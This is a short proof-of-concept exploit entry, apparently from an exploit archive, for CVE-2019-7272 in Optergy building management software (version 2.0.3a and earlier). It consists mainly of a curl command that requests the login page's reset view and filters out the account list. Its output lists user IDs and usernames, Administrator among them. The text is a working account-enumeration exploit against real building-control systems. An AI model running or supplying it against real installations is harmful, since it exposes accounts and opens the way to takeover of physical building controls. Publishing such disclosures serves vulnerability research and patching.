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Optergy BMS Account Reset and Username Disclosure  
  
Affected version <=2.0.3a (Proton and Enterprise)  
Discovered by Gjoko 'LiquidWorm' Krstic  
  
CVE: CVE-2019-7272  
Advisory: https://applied-risk.com/resources/ar-2019-008  
  
PoC:  
  
curl -s http://192.168.232.19/Login.html?showReset=true | grep 'option value='  
<option value="80">djuro</option>  
<option value="99">teppi</option>  
<option value="67">view</option>  
<option value="3">alerton</option>  
<option value="59">stef</option>  
<option value="41">humba</option>  
<option value="25">drmio</option>  
<option value="11">de3</option>  
<option value="56">andri</option>  
<option value="6">myko</option>  
<option value="22">dzonka</option>  
<option value="76">kosto</option>  
<option value="8">beebee</option>  
<option value="1">Administrator</option>